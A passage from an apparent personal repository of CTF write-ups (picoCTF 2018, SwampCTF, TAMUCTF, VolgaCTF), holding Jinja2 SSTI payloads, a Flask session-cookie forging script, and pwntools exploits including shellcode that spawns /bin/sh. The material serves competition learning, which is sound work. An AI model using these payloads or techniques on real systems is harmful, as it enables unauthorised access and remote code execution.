answer for a "flaskcard", then view those cards. I think I remember working on a Server-Side Template Injection problem for another CTF involving Flask, so on a hunch I entered `{{7*7}}` as the content for a "flaskcard", then when I displayed the card I got `49`. That's an SSTI vulnerability indeed. I remember now that the site is running `Jinja2`, but just for kicks, following [this guide](https://portswigger.net/blog/server-side-template-injection) let's do the fingerprinting explicitly. 12 | 13 | ![./fingerprinting_method.png](./fingerprinting_method.png) 14 | 15 | I submitted three tests: `${7*7}` (test1), `{{7*7}}` (test2), and `{{7*'7'}}` (test3). Here's the result of the fingerprinting: 16 | 17 | ![./fingerprinting_results.png](./fingerprinting_results.png) 18 | 19 | So, the server is running `Jinja2`. 20 | 21 | Next, based on [this blog](https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/), let's try a payload of `{{config.items()}}`: 22 | 23 | ![./config_items.png](./config_items.png) 24 | 25 | And there's the flag! `picoCTF{secret_keys_to_the_kingdom_e8a55760}`. 26 | 27 | ### Comparison to other approaches 28 | 29 | [Liuhack](https://github.com/liuhack/writeups/blob/master/2018/picoCTF/Flaskcards/README.md) and [wisp](https://www.wispwisp.com/?p=281) show that the command `{{config}}` works just as well as `{{config.items()}}`. [Dvd848](https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/Flaskcards.md) takes a more advanced approach, using `mro()` to go up the object tree and `.__subclasses__` to go back down again as per [this blog](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii). That way they can actually do remote code execution and read the `config.py` file right off the server to get the same information. That's an approach I ended up using later, with the 900-point Flaskcards and Freedom problem -- but it works for this problem as well. I'd say Dvd848's approach is perhaps the "better" one because it is more versatile, although the solutions that display `{{config}}` or `{{config.items()}}` directly could be called "better" in this case because they are faster. 30 | -------------------------------------------------------------------------------- /PicoCTF2018/web/Flaskcards/config_items.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/Flaskcards/config_items.png -------------------------------------------------------------------------------- /PicoCTF2018/web/Flaskcards/fingerprinting_method.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/Flaskcards/fingerprinting_method.png -------------------------------------------------------------------------------- /PicoCTF2018/web/Flaskcards/fingerprinting_results.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/Flaskcards/fingerprinting_results.png -------------------------------------------------------------------------------- /PicoCTF2018/web/FlaskcardsAndFreedom/RCE_Test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/FlaskcardsAndFreedom/RCE_Test.png -------------------------------------------------------------------------------- /PicoCTF2018/web/FlaskcardsAndFreedom/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/FlaskcardsAndFreedom/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/web/FlaskcardsSkeletonKey/README.md: -------------------------------------------------------------------------------- 1 | # Flaskcards Skeleton Key 2 | 3 | This is a 600-point PicoCTF 2018 problem that is the second of three in the "Flaskcards" series. 4 | 5 | ### Problem Description 6 | 7 | Nice! You found out they were sending the Secret_key: a155eb4e1743baef085ff6ecfed943f2. Now, can you find a way to log in as admin? ([link](http://2018shell.picoctf.com:53588)). 8 | 9 | This problem involves forging a session cookie. 10 | 11 | ### Solution 12 | 13 | We already know this web application is running Flask on Jinja2. I want to start by logging in, viewing my session cookie, and decoding it with the secret key. 14 | 15 | Here's the session cookie, captured with BurpSuite: 16 | 17 | ![./Session_cookie.png](./Session_cookie.png) 18 | 19 | I found some Python code to [decode](https://gist.github.com/babldev/502364a3f7c9bafaa6db) and [encode](https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe) a Flask session cookie. Decoding the cookie gives me the following: 20 | 21 | `{u'csrf_token': u'b585d81766ba1f33e456a23a9e9faa9c9f21107b', u'_fresh': False}`` 22 | 23 | That's if I'm not logged in. If I register as a user and then log in, it becomes: 24 | 25 | `{u'csrf_token': u'b585d81766ba1f33e456a23a9e9faa9c9f21107b', u'_fresh': True, u'user_id': u'29', u'_id': u'273d78a6c515c1aa8ba566f9ec403b4716970a65784b82a7680053894f950f3c421e7e597441a73e480c5a1e7b2ef548ecfa81f47a73ae2a1b56ea38560a363c'}` 26 | 27 | Now logging in as a different user actually gives me the same CSRF token and the same `_id` field. So that means I jsut need to figure out what the `_id` field should be in the unencrypted session cookie to log in as the administrator (assuming they have an ID of 1). 28 | 29 | Well, how about changing it to 1? I can re-encrypt the cookie and submit that string using Burp. 30 | 31 | `{u'csrf_token': u'b585d81766ba1f33e456a23a9e9faa9c9f21107b', u'_fresh': True, u'user_id': u'1', u'_id': u'273d78a6c515c1aa8ba566f9ec403b4716970a65784b82a7680053894f950f3c421e7e597441a73e480c5a1e7b2ef548ecfa81f47a73ae2a1b56ea38560a363c'}` 32 | 33 | Encrypting it gives me an admin cookie of `.eJwlj8uqAjEQRP8laxfp9DP-zNDJdKMICjO6utx_N-C2ilOc-itbHnHeyvV9fOJStvterqUp7mouk4EnuNtwFskekyoOUpCu1YXVaFhzFauV0Tpl55o4qUFocFcicMUgq5N9ZaNFMlnMdIMkXaVHcxgs4Wgs1VFwlkuZ55Hb-_WI5_IZbLwbqMhwSFyDLN7Qe_R077NnA6g6Fvc54_idgPL_Be7OPdk.D_anDA.meOQLzrVGNFkRKyKp4H7Q5jmGr4`. Let's try it: 34 | 35 | ![./logged_in_as_admin.png](./logged_in_as_admin.png) 36 | 37 | Let's navigate to that "Admin" tab. (I have to manually replace the session cookie during navigation to remain admin.) 38 | 39 | ![./got_flag.png](./got_flag.png) 40 | 41 | Alright! That's a wrap. [Here's](./solve-flaskcards-skeleton-key.py) the solution (with different values for the cookie in the comments, as the server apparently resets every two hours). 42 | 43 | ### Comparison to Other Approaches 44 | 45 | The write-ups on CTF Time basically take the same approach, but the implementations differ a bit. [Dvd848](https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/Flaskcards%20Skeleton%20Key.md) logs in and retrieves the session cookie programmatically, whereas my approach is more manual. [k3ddr](https://ctftime.org/writeup/11812) takes an approach similar to mine. Multiple submitters referred to [this write-up](https://terryvogelsang.tech/MITRECTF2018-my-flask-app/), which also indicates that the `MYFLASKAPP_SECRET` environment variable stores the secret key. Hence, Server-Side Template Injection may pave the way for forging credentials. [This write-up](https://teamrocketist.github.io/2017/09/11/Web-ASIS-Golem-is-stupid/) also was cited twice. Finally, [d4rkvaibhav](https://github.com/d4rkvaibhav/picoCTF-2018-Writeups/tree/master/WEB_EXPLOITATION/Flaskcards%20Skeleton%20Key) uses an online tool for decoding and encoding Flask session cookies. And [Liuhack](https://github.com/liuhack/writeups/blob/master/2018/picoCTF/Flaskcards_Skeleton_Key/README.md) uses [this tool](https://github.com/noraj/flask-session-cookie-manager) to encode and decode his session cookies. 46 | -------------------------------------------------------------------------------- /PicoCTF2018/web/FlaskcardsSkeletonKey/Session_cookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/FlaskcardsSkeletonKey/Session_cookie.png -------------------------------------------------------------------------------- /PicoCTF2018/web/FlaskcardsSkeletonKey/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/FlaskcardsSkeletonKey/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/web/FlaskcardsSkeletonKey/logged_in_as_admin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/FlaskcardsSkeletonKey/logged_in_as_admin.png -------------------------------------------------------------------------------- /PicoCTF2018/web/FlaskcardsSkeletonKey/solve-flaskcards-skeleton-key.py: -------------------------------------------------------------------------------- 1 | # Flaskcards Skeleton Key solution 2 | # by Sudoite 3 | 4 | import hashlib 5 | from itsdangerous import URLSafeTimedSerializer 6 | from flask.sessions import TaggedJSONSerializer 7 | 8 | # From https://gist.github.com/babldev/502364a3f7c9bafaa6db 9 | def decode_flask_cookie(secret_key, cookie_str): 10 | salt = 'cookie-session' 11 | serializer = TaggedJSONSerializer() 12 | signer_kwargs = { 13 | 'key_derivation': 'hmac', 14 | 'digest_method': hashlib.sha1 15 | } 16 | s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs) 17 | return s.loads(cookie_str) 18 | 19 | #https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe 20 | def encode_flask_cookie(secret_key, cookie_dict): 21 | signer_kwargs = { 22 | 'key_derivation': 'hmac', 23 | 'digest_method': hashlib.sha1 24 | } 25 | signing_serializer = URLSafeTimedSerializer(secret_key, 26 | salt='cookie-session', 27 | serializer=TaggedJSONSerializer(), 28 | signer_kwargs=signer_kwargs) 29 | return signing_serializer.dumps(cookie_dict) 30 | 31 | secret_key = "a155eb4e1743baef085ff6ecfed943f2" 32 | print(decode_flask_cookie(secret_key, ".eJwtjztuAzEMRO-i2oUo_n2ZBaUlEcNAAuzaVZC7e4u0M3iDN79tqyPPr3Z_He-8te2xt3sbirtayGLgBRE2g0XKc1HHSQri2kNYjaaNULHeGc2pnHvhogGpya5EEIpJ1hfHlc2RxWS5KgyK9CojR8BkyUBj6YGCq93aOo_aXj_P_L58JhvvBioyAwqvQZYYGJ5eEb68BkDXeXHvM4__E97-PizGPhM.D_alNQ.ctZ9nwlOeZhv-APxuvB97Fo8qmI")) 33 | # {u'csrf_token': u'b585d81766ba1f33e456a23a9e9faa9c9f21107b', u'_fresh': True, u'user_id': u'29', u'_id': u'273d78a6c515c1aa8ba566f9ec403b4716970a65784b82a7680053894f950f3c421e7e597441a73e480c5a1e7b2ef548ecfa81f47a73ae2a1b56ea38560a363c'} 34 | # I've learned that different users use the same csrf token. How can I use that? 35 | 36 | # Now I'll try forging a cookie as user 1. 37 | admin_cookie_dict = {u'csrf_token': u'b585d81766ba1f33e456a23a9e9faa9c9f21107b', u'_fresh': True, u'user_id': u'1', u'_id': u'273d78a6c515c1aa8ba566f9ec403b4716970a65784b82a7680053894f950f3c421e7e597441a73e480c5a1e7b2ef548ecfa81f47a73ae2a1b56ea38560a363c'} 38 | 39 | admin_cookie = encode_flask_cookie(secret_key, admin_cookie_dict) 40 | print("admin cookie is " + admin_cookie) 41 | #.eJwlj8uqAjEQRP8laxfp9DP-zNDJdKMICjO6utx_N-C2ilOc-itbHnHeyvV9fOJStvterqUp7mouk4EnuNtwFskekyoOUpCu1YXVaFhzFauV0Tpl55o4qUFocFcicMUgq5N9ZaNFMlnMdIMkXaVHcxgs4Wgs1VFwlkuZ55Hb-_WI5_IZbLwbqMhwSFyDLN7Qe_R077NnA6g6Fvc54_idgPL_Be7OPdk.D_athQ.asxXRIRFOOmxgYngmC-sgeFPac0 -------------------------------------------------------------------------------- /PicoCTF2018/web/HelpMeReset2/decoded_cookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/HelpMeReset2/decoded_cookie.png -------------------------------------------------------------------------------- /PicoCTF2018/web/HelpMeReset2/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/HelpMeReset2/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/web/HelpMeReset2/reset_screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/HelpMeReset2/reset_screen.png -------------------------------------------------------------------------------- /PicoCTF2018/web/HelpMeReset2/resetting_password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/HelpMeReset2/resetting_password.png -------------------------------------------------------------------------------- /PicoCTF2018/web/SecureLogon/flipped_byte.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/SecureLogon/flipped_byte.png -------------------------------------------------------------------------------- /PicoCTF2018/web/SecureLogon/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/SecureLogon/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/web/SecureLogon/login_test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/SecureLogon/login_test.png -------------------------------------------------------------------------------- /PicoCTF2018/web/SecureLogon/server_noflag.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request, url_for, redirect, make_response, flash 2 | import json 3 | from hashlib import md5 4 | from base64 import b64decode 5 | from base64 import b64encode 6 | from Crypto import Random 7 | from Crypto.Cipher import AES 8 | 9 | app = Flask(__name__) 10 | app.secret_key = 'seed removed' 11 | flag_value = 'flag removed' 12 | 13 | BLOCK_SIZE = 16 # Bytes 14 | pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \ 15 | chr(BLOCK_SIZE - len(s) % BLOCK_SIZE) 16 | unpad = lambda s: s[:-ord(s[len(s) - 1:])] 17 | 18 | 19 | @app.route("/") 20 | def main(): 21 | return render_template('index.html') 22 | 23 | @app.route('/login', methods=['GET', 'POST']) 24 | def login(): 25 | if request.form['user'] == 'admin': 26 | message = "I'm sorry the admin password is super secure. You're not getting in that way." 27 | category = 'danger' 28 | flash(message, category) 29 | return render_template('index.html') 30 | resp = make_response(redirect("/flag")) 31 | 32 | cookie = {} 33 | cookie['password'] = request.form['password'] 34 | cookie['username'] = request.form['user'] 35 | cookie['admin'] = 0 36 | print(cookie) 37 | cookie_data = json.dumps(cookie, sort_keys=True) 38 | encrypted = AESCipher(app.secret_key).encrypt(cookie_data) 39 | print(encrypted) 40 | resp.set_cookie('cookie', encrypted) 41 | return resp 42 | 43 | @app.route('/logout') 44 | def logout(): 45 | resp = make_response(redirect("/")) 46 | resp.set_cookie('cookie', '', expires=0) 47 | return resp 48 | 49 | @app.route('/flag', methods=['GET']) 50 | def flag(): 51 | try: 52 | encrypted = request.cookies['cookie'] 53 | except KeyError: 54 | flash("Error: Please log-in again.") 55 | return redirect(url_for('main')) 56 | data = AESCipher(app.secret_key).decrypt(encrypted) 57 | data = json.loads(data) 58 | 59 | try: 60 | check = data['admin'] 61 | except KeyError: 62 | check = 0 63 | if check == 1: 64 | return render_template('flag.html', value=flag_value) 65 | flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success") 66 | return render_template('not-flag.html', cookie=data) 67 | 68 | class AESCipher: 69 | """ 70 | Usage: 71 | c = AESCipher('password').encrypt('message') 72 | m = AESCipher('password').decrypt(c) 73 | Tested under Python 3 and PyCrypto 2.6.1. 74 | """ 75 | 76 | def __init__(self, key): 77 | self.key = md5(key.encode('utf8')).hexdigest() 78 | 79 | def encrypt(self, raw): 80 | raw = pad(raw) 81 | iv = Random.new().read(AES.block_size) 82 | cipher = AES.new(self.key, AES.MODE_CBC, iv) 83 | return b64encode(iv + cipher.encrypt(raw)) 84 | 85 | def decrypt(self, enc): 86 | enc = b64decode(enc) 87 | iv = enc[:16] 88 | cipher = AES.new(self.key, AES.MODE_CBC, iv) 89 | return unpad(cipher.decrypt(enc[16:])).decode('utf8') 90 | 91 | if __name__ == "__main__": 92 | app.run() 93 | -------------------------------------------------------------------------------- /StarCTF2019/quicksort/quicksort_solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/StarCTF2019/quicksort/quicksort_solved.png -------------------------------------------------------------------------------- /SwampCTF2019/heapgolf/README.md: -------------------------------------------------------------------------------- 1 | # Heap Golf 2 | 3 | This is a pwning challenge for SwampCTF2019. 4 | 5 | 6 | ## Reconnaissance 7 | 8 | This is a 64-bit ELF binary, not stripped so there are debugging symbols. 9 | 10 | Running `strings` on it shows a few that are interesting: 11 | 12 | ``` 13 | system 14 | cat flag.txt 15 | target green provisioned. 16 | enter -1 to exit simulation, -2 to free course. 17 | Size of green to provision: 18 | You're too far under par. 19 | ``` 20 | 21 | It has partial RELRO only and no PIE, so I could overwrite the GOT if I wanted. 22 | 23 | Opening it in IDA, there's a function `win_func` that cats the flag using `system`. Okay, so I just need to call that function. 24 | 25 | Now oddly I can run the binary locally from command line and remotely using `pwnlib`, but when I try to run it locally with `pwnlib` it hangs. A teammate noted that for some reason the local version of the application writes to `stdin` and reads from `stdout`! So I had to go in with a hex editor and change that back. 26 | 27 | The idea seems to be that the fifth hole to be allocated has to fill the same space in memory as the first to be allocated. So I just need to malloc four bins of size 0x30, then free the course, then malloc four bins of size 0x30 again and the last one will occupy the same space in memory as the first "hole" that was malloced. 28 | 29 | Easy enough! 30 | `flag{Gr34t_J0b_t0ur1ng_0ur_d1gi7al_L1nk5}` 31 | 32 | Here's the exploit code: 33 | 34 | ``` 35 | # exploit-heap-golf 36 | 37 | from pwn import * 38 | from time import sleep 39 | 40 | local = True 41 | if local: 42 | p = process('./heap_golf1') 43 | DELAY = 0.1 44 | else: 45 | p = remote('chal1.swampctf.com', 1066) 46 | DELAY = 0.5 47 | 48 | 49 | def send_malloc_request(n): 50 | p.send(str(n) + "\n") 51 | p.recvuntil("provision:") 52 | 53 | def free_course(): 54 | p.send("-2\n") 55 | p.recvuntil("provision:") 56 | 57 | p.recvuntil("provision:") 58 | for i in range(4): 59 | send_malloc_request(40) 60 | 61 | free_course() 62 | 63 | for i in range(3): 64 | send_malloc_request(40) 65 | 66 | p.send("40\n") 67 | 68 | p.interactive() 69 | ``` 70 | 71 | ### Comparison to other approaches 72 | 73 | The other write-ups on CTFTime all take the same approach. I appreciated [this write-up](https://screenshotwriteups.github.io/#8) for its illustration of the entire exploit with a single screenshot. 74 | -------------------------------------------------------------------------------- /SwampCTF2019/heapgolf/heap_after_allocating_two_holes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/SwampCTF2019/heapgolf/heap_after_allocating_two_holes.png -------------------------------------------------------------------------------- /SwampCTF2019/heapgolf/heapgolf1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/SwampCTF2019/heapgolf/heapgolf1 -------------------------------------------------------------------------------- /TAMUCTF2019/pwn1/README.md: -------------------------------------------------------------------------------- 1 | 2 | # pwn1 3 | 4 | This is an easy pwn challenge from TamuCTF2019. 5 | 6 | The challenge reproduces the bridge scene from Monty Python and the Holy grail. The user gets asked for their name, quest, and a secret. 7 | 8 | Running `strings` on the Linux 32-bit binary gives the name and quest. Next, after the secret gets asked for, a check gets done against the integer 3735097544. Easy enough, but the user input doesn't get written to the same place as where the integer is looked for on the stack. A quick inspection of the code shows that `gets` is used to accept user input for the third question, and so it's a simple matter of overflowing the stack and writing the requisite integer to the correct location. 9 | 10 | Here's the stack after I enter "AAAAAAAA\n". The desired integer should be at `$ebp-0x10`, according to the assembly language for the executable. 11 | 12 | ![./stack.png](./stack.png) 13 | 14 | Looks like I need 43 bytes of junk, followed by the integer. 15 | 16 | That gives me the flag! Easy problem. 17 | 18 | ![./flag.png](./flag.png) 19 | 20 | Here is the exploit code: 21 | 22 | ``` 23 | # Solve pwn1.py 24 | 25 | from pwn import * 26 | from time import sleep 27 | 28 | DELAY = 0.5 29 | 30 | p = remote('pwn.tamuctf.com', 4321) 31 | 32 | sleep(DELAY) 33 | p.send("Sir Lancelot of Camelot\n") 34 | sleep(DELAY) 35 | p.send("To seek the Holy Grail.\n") 36 | time.sleep(2) 37 | p.send("A"*43 + p32(0xDEA110C8) + "\n") 38 | p.interactive() 39 | ``` 40 | -------------------------------------------------------------------------------- /TAMUCTF2019/pwn1/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/TAMUCTF2019/pwn1/flag.png -------------------------------------------------------------------------------- /TAMUCTF2019/pwn1/stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/TAMUCTF2019/pwn1/stack.png -------------------------------------------------------------------------------- /TAMUCTF2019/pwn2/README.md: -------------------------------------------------------------------------------- 1 | 2 | # pwn2 3 | 4 | nc pwn.tamuctf.com 4322 5 | 6 | This problem has another `gets` vulnerability. The user is asked which function they would like to call, and that user input is obtained using `gets`. So I can corrupt the stack. Next, a function `select_function` gets called. What's that do? It looks like I copy the first 31 bytes of the string I enter onto the stack, which can overwrite the last byte of the address stored for the function `one`. Then if the first three bytes of my string are `one` then `one` gets called. I tried just sending a bunch of A's, and looking at how the stack changes: 7 | 8 | ![./stack1.png](./stack1.png) 9 | 10 | goes to 11 | 12 | ![./stack2.png](./stack2.png) 13 | 14 | That address, `0x5664f6ad` for which I can overwrite the least significant byte, is the address of `two`. And the address of `print_flag` would be `0x5664f6d8`. So I can send a number of A's followed by 0xd8. and now I just need to call `two` somehow. Well, if my input isn't exactly `one\n`, then it looks like `two` gets called. So I'm set. 15 | 16 | Here's the solution! 17 | ``` 18 | # Solve pwn2.py 19 | 20 | from pwn import * 21 | from time import sleep 22 | 23 | p = remote('pwn.tamuctf.com', 4322) 24 | time.sleep(2) 25 | p.send("A"*27 + "\xd8"*8 + "\n") 26 | p.interactive() 27 | ``` 28 | ![./flag.png](./flag.png) 29 | -------------------------------------------------------------------------------- /TAMUCTF2019/pwn2/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/TAMUCTF2019/pwn2/flag.png -------------------------------------------------------------------------------- /TAMUCTF2019/pwn2/stack1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/TAMUCTF2019/pwn2/stack1.png -------------------------------------------------------------------------------- /TAMUCTF2019/pwn2/stack2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/TAMUCTF2019/pwn2/stack2.png -------------------------------------------------------------------------------- /TAMUCTF2019/pwn3/README.md: -------------------------------------------------------------------------------- 1 | # pwn3 2 | 3 | nc pwn.tamuctf.com 4323 4 | 5 | For this problem, there's no stack canary and the stack is executable. So all I have to do is return to my code and execute it to spawn a shell. The program actually returns the stack address corresponding to the start of the input string stored to the stack, so I just have to return there. For this problem, I used some 32-bit shellcode that I already had lying around -- I think it was from ShellStorm originally. I need 302 bytes of input followed by the return address. 6 | 7 | Here's the exploit code: 8 | 9 | ``` 10 | # Solve 3.py 11 | 12 | from pwn import * 13 | from time import sleep 14 | 15 | p = remote('pwn.tamuctf.com', 4323) 16 | 17 | p.recvuntil("0x") 18 | shellcode_address = int(p.recv(8),16) 19 | print("stack address = " + str(shellcode_address)) 20 | shellcode = "\x31\xC0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x89\xe2\x52\x89\xe2\xb0\x0b\xcd\x80" 21 | payload = shellcode + "A"*(302-len(shellcode)) + p32(shellcode_address) + "\n" 22 | p.send(payload) 23 | p.interactive() 24 | ``` 25 | 26 | ![./flag.png](./flag.png) 27 | 28 | Short and sweet. 29 | -------------------------------------------------------------------------------- /TAMUCTF2019/pwn3/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/TAMUCTF2019/pwn3/flag.png -------------------------------------------------------------------------------- /TAMUCTF2019/pwn5/README.md: -------------------------------------------------------------------------------- 1 | # pwn5 2 | 3 | nc pwn.tamuctf.com 4325 4 | 5 | For this problem, `ls` is running as a service and it's therefore amusing that the user can see the flag but not `cat` it. The code itself also uses `gets` and there's no canary on the stack. I noticed that I should be able to return to three lines before the call to `system`: 6 | 7 | ![./run-cmd.png](./run-cmd.png) 8 | 9 | If I put `"/bin/sh"` at wherever on the stack ends up being `[ebp - 0x12]` when three lines before `run_cmd` gets called, then I'll pass a pointer to that string to a call to `system` and I'm good to go without ever needing to leak a stack address. Nice. 10 | 11 | Next I just need to run the program and take a look at the stack to figure out where I need to be overwriting information. 12 | 13 | The most challenging part of this problem was actually just setting up `gdb` to step over a call to fork `execve`. It turns out I hadn't needed to do that, but `set follow-fork-mode parent` worked for me. This was a very simple ROP problem in the end, I just placed above the return address for the call to `system` a pointer to the string `/bin/sh` in the text section, and that worked for me. 14 | 15 | Here's the exploit code: 16 | ``` 17 | from pwn import * 18 | 19 | p = remote('pwn.tamuctf.com', 4325) 20 | 21 | payload = "-la" + "AAAABBBBCCCCDD" + p32(0x080488b3) + p32(0x080bc140) + "\n" 22 | p.send(payload) 23 | 24 | # Need to return to 0x80488af 25 | p.interactive() 26 | ``` 27 | 28 | ![./flag.png](./flag.png) 29 | -------------------------------------------------------------------------------- /TAMUCTF2019/pwn5/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/TAMUCTF2019/pwn5/flag.png -------------------------------------------------------------------------------- /TAMUCTF2019/pwn5/run-cmd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/TAMUCTF2019/pwn5/run-cmd.png -------------------------------------------------------------------------------- /VolgaCTF2019/blind/README.md: -------------------------------------------------------------------------------- 1 | # Blind 2 | 3 | This is a 200-point cryptography problem from VolgaCTF2019. 4 | 5 | This problem uses RSA. The challenge is to run `cat flag.txt`, but the command must be sent as a base 64-encoded string preceded by a proper signature. The user can get the server to sign a command but the problem is they can't sign a `cat flag.txt` command. So, somehow we need to get the secret key by signing a different command. 6 | 7 | If `d` were small then I could send a really short message, such that `m^d < n`. Then I would just take the log of `m^d` base `m` to recover the secret key. But that doesn't work here: sending m='\x02' gives me back an odd number for the signature (n is odd). 8 | 9 | Aha! A look back at Dan Boneh's paper, [20 Years of Attacks on the RSA Cryptosystem](https://crypto.stanford.edu/~dabo/pubs/papers/RSA-survey.pdf), gives the answer and the name of the problem. I need to do a "blinding attack", wherein I replace the command "cat flag" with that multiplied by a random number `r` raised to the `e` power. Then, once I submit that new message `M'` and get back a signature `S'`, I divide `S'` by `r` to get the signature for `cat flag`. In theory that's easy, but the implementation was pretty tricky for me. I had to make sure that `M'` didn't contain any tabs, newlines, carriage returns, or spaces, and that single quotes, double quotes, and backslashes were escaped. Lacking experience in this area I discovered a lot of that by trial and error and some careful use of print statements in `local.py`, so it took a couple of hours to implement. 10 | 11 | But here's the satisfying result: 12 | `VolgaCTF{B1ind_y0ur_tru3_int3nti0n5}` 13 | 14 | And 200 points! 15 | 16 | [Here's](./exploit-blind.py) the exploit code. 17 | 18 | ### Comparison with other approaches 19 | 20 | Generally the approaches posted to CTF Time are the same as this one, but there are quite a bit of differences in terms of the Python implementation. I particularly liked [this write-up](https://devel0pment.de/?p=1210), which is very clear and shows a simple example of why the math works. I would like to clean up this code and may revisit this write-up in the future, but at the moment when I'm playing catch-up with posting write-ups, I'm just posting my code from the competition. 21 | -------------------------------------------------------------------------------- /VolgaCTF2019/blind/keygen.py: -------------------------------------------------------------------------------- 1 | from gmpy2 import mpz, mul, invert, powmod 2 | import codecs 3 | 4 | # openssl prime -generate -bits 512 5 | 6 | #p = mpz(5555555555555555555555555555555555555555555555555555701) 7 | p = mpz(147022152443768805054640539349665159705689780282604320097582608183582172726109705490683882093208096057358279001425541574187717364407022706765663971562065865747178452435431838684927046282063051057254632059158053908694976874204621061248370724092118996244493251069999115969851925019313155919204200716624591958963) 8 | #q = mpz(5555555555555555555555555555555555555555555555555555747) 9 | q = mpz(154254890290575741941774646609338556641625144563942041618921254666178842915841851535447699696455200975379216347322953469539144919914830134595107564422288569681821680211412584061888066249444256595220115167211516413530582445179304743494140260133100641759435784624675128537133509605111282940605401116735265625263) 10 | n = mul(p,q) 11 | print("length of n is " + str(len(str(n)))) 12 | phi = mul(p-1,q-1) 13 | e = 65537 14 | d = invert(e,phi) 15 | print(p) 16 | print(q) 17 | print(n) 18 | print(e) 19 | print(d) 20 | message = int(codecs.encode(b'text','hex_codec'),16) 21 | 22 | #int(codecs.encode(b'text','hex_codec'),16) 23 | print("message = " + str(message)) 24 | print(str(powmod(powmod(message,e,n),d,n))) 25 | print("d = " + str(d)) -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/192-168-1-11_potential-malware.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/WPICTF2020/NotWannaSigh/192-168-1-11_potential-malware.pcap -------------------------------------------------------------------------------- 